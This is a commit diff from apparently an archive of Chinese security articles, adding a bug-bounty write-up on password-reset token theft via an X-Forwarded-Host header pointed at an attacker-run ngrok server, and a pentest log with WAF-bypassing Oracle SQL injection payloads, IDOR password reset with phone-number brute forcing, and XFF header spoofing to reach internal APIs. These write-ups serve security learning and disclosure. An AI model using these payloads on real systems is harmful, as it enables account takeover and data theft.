赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞、当黑客那些年之帐户接管系列漏洞-案例一斩获1000$、比较有意思的几个漏洞挖掘记录、要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结、

This commit is contained in:
test committed 2024-12-29 16:11:01 +00:00
1 parent 08d2b62083
commit ee83457fa8
5 files changed
+451 -95

No files matched your search

+5 -1
View File
@@ -2248,5 +2248,9 @@
"https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247493098&idx=1&sn=daf17eea39dbbe868a10945583414150": "网络信息系统WF2409E路由器进行了一次完整的硬件安全分析研究 | 漏洞分析",
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493642&idx=1&sn=148bc2127ec92f4853e3d25ce1e7c686": "像职业黑客一样思考,在漏洞挖掘中可以多赚30000美元(真的吗?)",
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247493642&idx=2&sn=e56539ff84e21a74e6dba51ec10c2eab": "【SRC】SQL 注入(SQLi)漏洞检测指南",
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486540&idx=1&sn=63406d0b7e232811e72af958854598b1": "「漏洞复现」科汛新职教网校系统KesionEDU CheckOrder SQL注入漏洞(XVE-2024-1476)"
"https://mp.weixin.qq.com/s?__biz=MzkyNDY3MTY3MA==&mid=2247486540&idx=1&sn=63406d0b7e232811e72af958854598b1": "「漏洞复现」科汛新职教网校系统KesionEDU CheckOrder SQL注入漏洞(XVE-2024-1476)",
"https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487547&idx=1&sn=208ed8027238c77ddd5a967fb895a024": "赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞",
"https://mp.weixin.qq.com/s?__biz=MzkwODI1ODgzOA==&mid=2247506335&idx=1&sn=7c0ecf4f62abd40aec0f31829276017e": "当黑客那些年之帐户接管系列漏洞-案例一斩获1000$",
"https://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247517950&idx=1&sn=bef8c9d5541206c2256a5de3b375398a": "比较有意思的几个漏洞挖掘记录",
"https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488307&idx=1&sn=bf64b07108abe531018ffec416ddf48a": "要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结"
}
@@ -0,0 +1,118 @@
# 当黑客那些年之帐户接管系列漏洞-案例一斩获1000$
原创 一个不正经的黑客 一个不正经的黑客 2024-12-29 12:38
#  当黑客那些年之帐户接管系列漏洞-案例一斩获1000$
这篇文章将介绍作者在 Hackerone 的私人项目中发现的一个漏洞,该漏洞允许我接管任何用户的账户。
在开始之前,我想先提供一些关于 Host 头的小基础知识。
## 什么是 HTTP Host 头? 
HTTP Host 头是 HTTP/1.1 中的必需请求头,它指定了用户希望访问的域名。
例如,如果用户访问 https://example.com,那么他们的浏览器将发出如下所示的请求,其中包含 Host 头:
```
GET / HTTP/1.1
Host: example.com
```
**现在让我们开始**
几天前,我收到了 Hackerone 的通知,说我被邀请加入了一个私密项目。
我接受了邀请,并开始在这个私密项目中进行漏洞挖掘。
刚开始进行漏洞挖掘的前几天,我花了 5 到 6 天时间,发现了跨站脚本攻击(XSS)、IDOR、SQL 注入、登录页面漏洞、信息泄露和子域名接管等问题,但始终没有找到什么特别的漏洞。
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcUE6LRKvcOPGzwFoFXHK8wqPldFHzdcvTgCNexCMWMlarKFibWHUzUFw/640?wx_fmt=png&from=appmsg "")
经过几个小时的休息后,我再次开始在该域名上进行漏洞挖掘。
这个时候,我发现了一个上次没注意到的有趣功能。
这个有趣的功能就是“密码重置功能”。
于是我心想,为什么不试试这个密码重置功能呢?
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAczGudV5vJ7NZ1ugqID76bb7wibzIRrZ562ib6WfFWdzQvDSNYT5TozHWw/640?wx_fmt=png&from=appmsg "")
由于这是一个私密项目,我不能公开目标的名称。
所以,让我们假设目标是 **site.com**
。他们的密码重置功能大致是这样的:
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcMz04VelFR5WlibWsO8slFS2evt7GueNfV3xpiapFKP7EckjhMw1FqczQ/640?wx_fmt=png&from=appmsg "")
我注意到,每当我们输入电子邮件并点击“重置密码”时,我们会收到一封包含密码重置令牌链接的电子邮件。
密码重置令牌链接如下所示:
```
https://site.com/action-token?key=eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICIzZWM2ODU2Z
```
这次,我决定拦截密码重置请求,并且启动了我的 ngrok 服务器。
原始请求大致如下所示:
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcr6bgm5hWK4pgCbx8YLR5UaGo3E6CZU3D07zqicKJPO5aIdmneomtgdg/640?wx_fmt=png&from=appmsg "")
然后,我在原始请求中添加了另一个头部 X-Forwarded-Host
,并将其设置为我的 ngrok 服务器域名。
现在修改后的请求大致如下所示:
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcfVKuDPgOjt7qTrlpLf5dWLpmyOqx3cEwNkqZqclQwkPqWKTG89nRFg/640?wx_fmt=png&from=appmsg "")
然后这次,我收到了一个更改密码的电子邮件,但其中的密码重置令牌链接指向了我的 ngrok 服务器域名。
密码重置令牌链接看起来如下所示:
```
https://95saf4ct71g.ngrok.io/action-token?key=wia2lkIiA6ICciOiJIUzI1NiIsInR5cCIgODU2ZeyJhbGiA
```
你可以看到,我成功地通过在密码重置请求中添加 X-Forwarded-Host 头部来更改了主机。
接着,我注意到,如果我在密码重置页面中输入受害者的电子邮件并拦截请求,再添加一个包含我恶意域名的 X-Forwarded-Host 头部,受害者将会收到一个带有我恶意域名的密码重置令牌链接。
当受害者点击该链接时,他们将被重定向到我的网站,并且所有的令牌都会泄漏给我。
然后,我可以使用泄漏的令牌来更改受害者的密码。
是的,这个漏洞的影响就是完整的账户接管。
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAc1jwmVaa0fuK24EwNTvDbiaV0nE9vGy8nVIuPXrtmKDz2m0rfIplPfag/640?wx_fmt=png&from=appmsg "")
所以,现在我可以完全接管任何在 site.com 上拥有账户的人的账户,只要通过重置他们的密码。
因此,我毫不浪费时间,成功提交了这个漏洞,并附上了完整的概念验证。
随后,Hackerone 的私人项目团队奖励了我 1000 美金。
![](https://mmbiz.qpic.cn/mmbiz_png/cxf9lzscpMoYMAJveXuvRI2QdO1z9TAcaMicR49KNeDcCUGVx6JvJByJ36Rh7iaSMO4ciayLZpNc0akaibYstRhV2A/640?wx_fmt=png&from=appmsg "")
## 漏洞点评 
这个漏洞非常经典,漏洞成因可以追溯为
系统架构过于复杂,存在多层转发,进而易诱发配置不当的情况。
我们可以假设重置密码是一个后台服务,那么它是无法知道用户访问的入口域名是什么的,这种情况一般就是代码直接获取 Host 头(正常人写法),但是这个 Host 头可能会被前置的中间件如 nginx 进行重写,而重写的规则可能就是获取 X-Forwarded-Host(类似 X-Forwarded-Ip)
如果是上述情况,通过在用户端X-Forwarded-Host覆盖重写的值就会导致这个漏洞产生。
## 文末寄语 
本文算是一个合集系列,会收集各种经典 BugBounty 漏洞案例,分析形成的原因并归类探测方法。
后续可能会将这些成果转换为检测工具(
Burp 插件)完成赋能,敬请各位观众老爷期待,感谢大家的阅读和支持。
Thanks https://saajanbhujel.github.io/bugbounty/blog/web/2021-02-26-password-reset-token-leak-via-x-forwarded-hos
t
+101 -93
View File
@@ -1,11 +1,13 @@
# 比较有意思的几个漏洞挖掘记录
红猪 Z2O安全攻防 2024-11-25 13:43
红猪 Z2O安全攻防 2024-12-29 12:35
点击上方[蓝字],关注我们
**建议大家把公众号“Z2O安全攻防”设为星标,否则可能就看不到啦!**
因为公众号现在只对常读和星标的公众号才能展示大图推送。操作方法:点击右上角的【...】,然后点击【设为星标】即可。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuao3T9EnGbUIqxgDhEVicCV8NbH4FiaZ3YIbpXNEr6qFicGkAelnQHKGHsVlfapMGgO3DHA68iaiac0n4Q/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuao3T9EnGbUIqxgDhEVicCV8NbH4FiaZ3YIbpXNEr6qFicGkAelnQHKGHsVlfapMGgO3DHA68iaiac0n4Q/640?wx_fmt=png "")
# 免责声明
@@ -16,30 +18,25 @@
# 文章正文
来源:奇安信攻防社区,作者:红猪,排版来自:潇湘信安
原文:
https://forum.butian.net/share/3692
**sql注入**
# sql注入
某条数据,点击详情的数据包,单引号报错
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjsZiaaVIZUmf6YTpYJqNPvSU3y6uUEwFtV8IchRy10rzGKWF9PoJlKlw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfdwAFQVqRfzek24IKwRxrToFhZsJDLrgEtJgMqU8icWbXFP83bpzmvRg/640?wx_fmt=png&from=appmsg "")
再加一个正常
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjMr2lEvGWR8KFaQYib7nY2fSXjlENsaxia6tS57uicdXHQMDdvpwkpnRgQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfIDs9OcxGtEmfOItib3dVazGpCR7WpE8ww5W3icOd8hNjwOsDJYdiaOicWQ/640?wx_fmt=png&from=appmsg "")
本以为是一次平平无奇的sql注入,没想到绕了一天才绕过去,下面放几张测试失败的截图
首先就是404,不知道规则是啥样的,下面语句应该是没问题的就会404,1=1让语句不通就会500
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjOYlCnj10icAyjD7JGEBWWw0icBRsVumzPBO0tVLvCNs5vJTowQB0cT8w/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfibpdXvUxoudubgJicSWw0bFvMcibKhyfCyjkqqjDhBicIhf8GicTmUK7TUQ/640?wx_fmt=png&from=appmsg "")
试了下orcale的注入方法,又爆403,这里'||55||'会返回空数据,'||1/0||'会爆500,这里判断语句能想到的都试了,全403,最奇怪的是只有语句正确才会403,少写一个D就会500,不知道这什么匹配逻辑,不过试了一些插入空白字符啥的也都不行
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjIPTUZ94fHX4n0gkZLvd9GfNvWZv5Is6jVgLNkeeczOZeEYXJXEEZlg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfNibACJhr3cHzR8FuuFYINa6HTmOUKwqop0HmnCQ7X0icib0bjhz1AgHDA/640?wx_fmt=png&from=appmsg "")
这里我又跑了一遍字典,全404、500、403,期间尝试结合分块传输、参数污染、垃圾数据、白名单、高并发均未绕过去
@@ -48,11 +45,11 @@ https://forum.butian.net/share/3692
'OR+1+in+1+and+'a'+in+'a
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjgJdwiarFYflTy43K4TpSDsw6arZUxeSHJ6cZic94zxd47yhDTe85UzLQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfAac2Tibc0JzsTBy4Nw3by1nI6HtaP1x2Td5dNSG7dwceGibj56Idsicpw/640?wx_fmt=png&from=appmsg "")
当1 in 5 的时候整个结果为false,返回为空
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj6D4JsgrCBdlamUDLkDHmeCbupM1sFBBsMArzyTGAjU6mwic44gY7KIQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf5HzYuxf8VYNqsnSuA4ZX69Y33zCoyibM8ljwO8EJzHPd3x2FatY43Cg/640?wx_fmt=png&from=appmsg "")
直接注下user的长度
```
@@ -61,7 +58,7 @@ https://forum.butian.net/share/3692
只有相等时会卡死,很明显为7位
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjXgAElTexZUGXPzxMLBAUaZbJaNJ1pCtS23ORoO99vICmT9bftHZ1bw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfwORTg3HVLHhnlEB2bq0ibuzJNDLRE6qe8GnJezUSqyNyAC0sM8SlN4g/640?wx_fmt=png&from=appmsg "")
直接用instr函数注用户名
```
@@ -75,87 +72,74 @@ instr('user','s')返回2
第一位为S
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj7xib70e3bMqvKZVmYWMibMuAYWl0deGiaVQX8LOWSp9OAIE0ib6he8gjCw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfE3mficb5z1MOMvcv2dZm7qoSok88tiaH1iaY7B4PrYQm9wZoLxRpa5ibdA/640?wx_fmt=png&from=appmsg "")
第二位为H,其他同理
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjmfYFWXoC6icmLhDuEj5d8fuUviakSsjA8vFFZpLMq3r2H1HlOicQF8GhA/640?wx_fmt=png&from=appmsg "")
**任意用户名密码重置**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfb5qutSyG7iaFyt0oicrbN5CrrSsibqt66p4yiaTox8eMpj9mttrCgmPvtg/640?wx_fmt=png&from=appmsg "")
# 任意用户名密码重置
玩的某个游戏,手机号换了,申诉成功给我发了邮件,可以看到id和token
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjjEBjWcrlroZgFTm9qIp7OUNA9OfNicNYB4W6dDvHc8vzBulXXRlIQ6Q/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf34BwXIhwvvCj21LShYTicSMqaRbDMZ9Smzxbvs4TvEtxNRMJ5jVY6sw/640?wx_fmt=png&from=appmsg "")
这里直接更换id访问,进行更改密码,显示错误
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjeXO5ibnTpfsBjRwLzYAvYMKjAcozibB9y6jHiaC160SBw4xRxlrcQicpRg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXficaGfhQBuC5V8dWp9nJnv4D4ywsk8Im8mTQLvOKmTyQMsH2EibWVpAuw/640?wx_fmt=png&from=appmsg "")
简单测了测,id随便改,token为空
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjubcBgSWUE3hg6ichuuKUxQjiaxvhEH368F2BticFXkJLxSTGQlmVGPsMw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf04mmIUGiafFMZpzRYhUibXObvicsKvcUdpibbQa0CRzWItrt2zNt6xOTlA/640?wx_fmt=png&from=appmsg "")
直接修改密码成功
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjic2zcHPibB7J55gFGYh18lCLeenvGntaILFjMYian1LsX9VsadINVyY2w/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfFOJcIa54HaBUuNajDKaMIjiaO57IHtIfRjGdy9mM6lPT7o2alxIkicjw/640?wx_fmt=png&from=appmsg "")
这里因为不知道目标账号的id,只能随机修改,因为手机号基本就跟id绑定,于是找到了申诉的功能点,这里输入手机号
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjd8zOic0sPS4MrkiarBW7OnlhQ2cbJBx7dlZeTHsGbZQtI3moG7tv7EUw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf9sBYGNltI86KPdMckt8nU81JMv0FuFQyyNibicTkhU0CC7uKt4yRmGqQ/640?wx_fmt=png&from=appmsg "")
可以看到返回了id
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj7THo34186dKWWcQ2X8rgicAgyQfRnZT5z5HoWtVBsnL1eTpg8TiaqepQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfPkmwAaBTAkGk9LgicG9q1W90uJ50syASz9LCuxqO5z7r1qyWDqrxjUw/640?wx_fmt=png&from=appmsg "")
下一步就是要知道目标的手机号,经过我的不懈寻找,在游戏app的登录界面,有个忘记账号功能
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj3N7Uda7p3xLp5RjAmnCNsxZeupHWjyVJ0TrRWPkTPUO3xYv9APuGCg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXff4yDyfQllt5ADxcmtkJE8qnztyoscGG0iaXbQL3ug7KNteBC2arULag/640?wx_fmt=png&from=appmsg "")
这里输入手机号或者游戏的uid就可以看到一些信息
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfFeuBGSrMAhyNicIJUQdDFtkyEFKP4sjxJmWyp1IicAIY611RbPqdg48A/640?wx_fmt=png&from=appmsg "")
这里游戏uid是公开的,资料就能看到,不过手机号只有前三位和后四位
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjptSJ26MVVtsbNTjDW0s8EdEibawby1NABV7bv4nI1vFBx0YuKEb7dKg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjJic5dY9BHS1L9LawhpKBbBKq2UhkN3ibu0tJpPKWHXmxtKczbAtaL4yQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfibicwl9K8rZib3Rib3ibGgkgUhWXPzxFnutjYLyyhUKAmvcr1OoKrDMqm2g/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfewbn0icqImWKdLDlQ0MgJhpQWFibOxRzEGrTtHdexwvGfNib8HNefhWgw/640?wx_fmt=png&from=appmsg "")
在官网找回密码处,这里输入手机号抓个包
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjZV5TjbXeHVha3iaj38l7wmGCGg0ooN0ItnFCJ06USdsP7RiaFdksGenQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfbNN8IokjAKmPUhBNpz13QKjpeW0Cj82TqOUKlPsVI9UnVibEYUr4J0A/640?wx_fmt=png&from=appmsg "")
输入不对的手机号会提示错误,因为我们知道前三位还有后四位,爆破起来还是很快的
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj5JOJjCKkTluakEg813ah6tzxZE1muuvaBbViamPaODSfUBECbRguGEw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfibibKPWIIdF1BgBgbt1qAaMDcfkibiap0ibv22aPuMePIUTZcl4roydZSibg/640?wx_fmt=png&from=appmsg "")
最后只得到几个真实存在的手机号,这时候就可以去游戏app登陆界面去对比,手机号正确的话,返回的UID是一样的,这里也可以抓包写个脚本去判断,因为真实存在手机号就几个,我就直接手动尝试的
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjuNF6eqjJQaowhMkHStfNs245G7BZxtwkWP6micw7ibl11Mdz5SzWjwDQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfVkcWa3FW8T91f9ibY7JNJMiasL5kyJ8ZSA50oSFhuZucf5KjLeYagYkQ/640?wx_fmt=png&from=appmsg "")
确定了目标手机号就知道了id,就可以想修改谁的密码就可以修改谁的了
# 某站测试记录
**某站测试记录**
目标站主域名有两个,a和b代替 ,这里主要目标是a,b应该是以前用的,首先是爆破出来了两个demo站demo.atest.com和demo.btest.com
目标站主域名有两个,a和b代替 ,这里主要目标是a,b应该是以前用的,首先是爆破出来了两个demo站demo.atest.com和demo.btest.com
会提示ip无法访问,访问demo.btest.com
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjN6bv8IeMFC1wUnU0YiaNGS7IUEMxINWJ75GlTglpfCxVqapGUjJicaFw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfSwAeR66xtkhPWvR2HiaWcv8TE613b1fjV6Nsk5YoibuhBZ3tulVXiaXLw/640?wx_fmt=png&from=appmsg "")
另外一个也一样
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjXfclp4ahKof6EdhgxPaGQNibj2cAQwiaJiaOZOGuUzMBs6OxVPfuGFC6g/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf8MT06AbyAlLTNc4Cpc7YTGUwIefAkaeESD4c4xp248a5IsibERobnPA/640?wx_fmt=png&from=appmsg "")
这里直接插xff头绕过的
```
@@ -186,64 +170,54 @@ X-Host: 127.0.0.1
X-Custom-lP-Authorization:127.0.0.1
```
这里是创建订单成功了,返回了一个地址,https://cashier.xxxx.xxxx
这里是创建订单成功了,返回了一个地址,
https://cashier.xxxx.xxxx
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjqFdqiaibzTGOdwDOgYibmheldbeVtboicYDNp0ShCPAXGehFuSJeHggWuQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfGllhABSziandkSS3xTw8Is5wzvuic7KgMjAI7M2ELbTHC6r7roSibMQuA/640?wx_fmt=png&from=appmsg "")
访问之后
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjEJUIviaEG3jT3qr1btsS9vRAtRSRN0QIBZWDaHAgQxVEtCzDwiaKqx8g/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfockDxrfaazzlx0a4LqUu01qeez8stJpiaicdoNwlH1THMHTb0YfyGdnA/640?wx_fmt=png&from=appmsg "")
因为这是订单信息,所以我猜测前面子域名是后台的
构造
https://cashier.atest.com
 访问之后401,添加xff头直接访问
构造https://cashier.atest.com 访问之后401,添加xff头直接访问
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjtRV79Z2SibKbE4tyIeg30FVojTPV91WnCWq4kPFuoVQZRQSwmnjuVew/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfXibg9SeM1NlrT0Sj8KflJvSUySSazLPkmp1qARbhHpDiaQaUhR69ibkpA/640?wx_fmt=png&from=appmsg "")
这里a网站应该也是一样的规则
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjeMphDBSY1VY0T69wyufjlh8rOL7uyzZxA7uRFuibGy6SpeOfoOzkBAg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfloicfiauIwJCe943QfbjR5z4f3EAlavUtzSurZFtQeibE725bRqxYO5yA/640?wx_fmt=png&from=appmsg "")
因为是测试后台,这里直接将test删除,访问
https://cashier.a.com
 显示无法访问,修改xff头仍然失败
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjOTdKeYeibeEushZyYzC2K1uy7J9BvvAIYlkvfXzcHbLS9CFJ83NUPsA/640?wx_fmt=png&from=appmsg "")
因为是测试后台,这里直接将test删除,访问https://cashier.a.com 显示无法访问,修改xff头仍然失败
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfYY4gBUOKUjDx7tDGbGPFIsDnhsoC0bKKfCCXicuzeib5XK7Z45W9Pqjw/640?wx_fmt=png&from=appmsg "")
只能从测试站入手了,首先是爆破出来了用户密码,但是却无法登录,不过返回了token,这里前端看到了webpack的接口信息
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjZQvibyMDKYuxiaIickFBk4S3iapoeHftpS9Ra6G38dTMcH1O6vEkuPpSOg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfNhqQ8CnWx5UzPjw3R6I3Qmcn4vEEaJlltH3Pt0tqIpjKn6ZicLLOkUQ/640?wx_fmt=png&from=appmsg "")
在JS存在好多接口和接口配置包的构造并且还有API路径
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjpy590ddw5sxnn0yaJjjoUw8qlRT3mtvayibxiby8JCzvtM8Gh0fIVRZA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfYBQEnQibKia4RxNB62f01vicuBH8NCDj2B5Acnn7sJvrZfecVKN2MViaXg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjPuo1RMgh2S1AQC8tCC62ia8PZGbK7CEg3NwuhSd6kDhEG5BSGI9uic6Q/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf5s90he9xftQzhA0tulbiatF9TWX6Bg7m8cKYj7wmAtoKO5oNsuTKGYw/640?wx_fmt=png&from=appmsg "")
抓个登录接口的包看下格式拼接就好
有的接口有未授权,有的接口需要权限,但是爆破成功的数据包里面是有返回token的,于是带着这个token访问就可以了,但是均为测试站点的数据
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzjXZr7IlAP0iahxwp0qSYh33loSQCvRX1HA0iag2ylm7FOzElwBsadiaIKA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXf1lZKgy5yQyB6qfmEUO5jiavCaTVuDA7lia5eETdHqtUszd7nfvTX1lNQ/640?wx_fmt=png&from=appmsg "")
于是猜测管理后台地址也是有这些接口的,直接更换请求的host,成功获取到真实数据
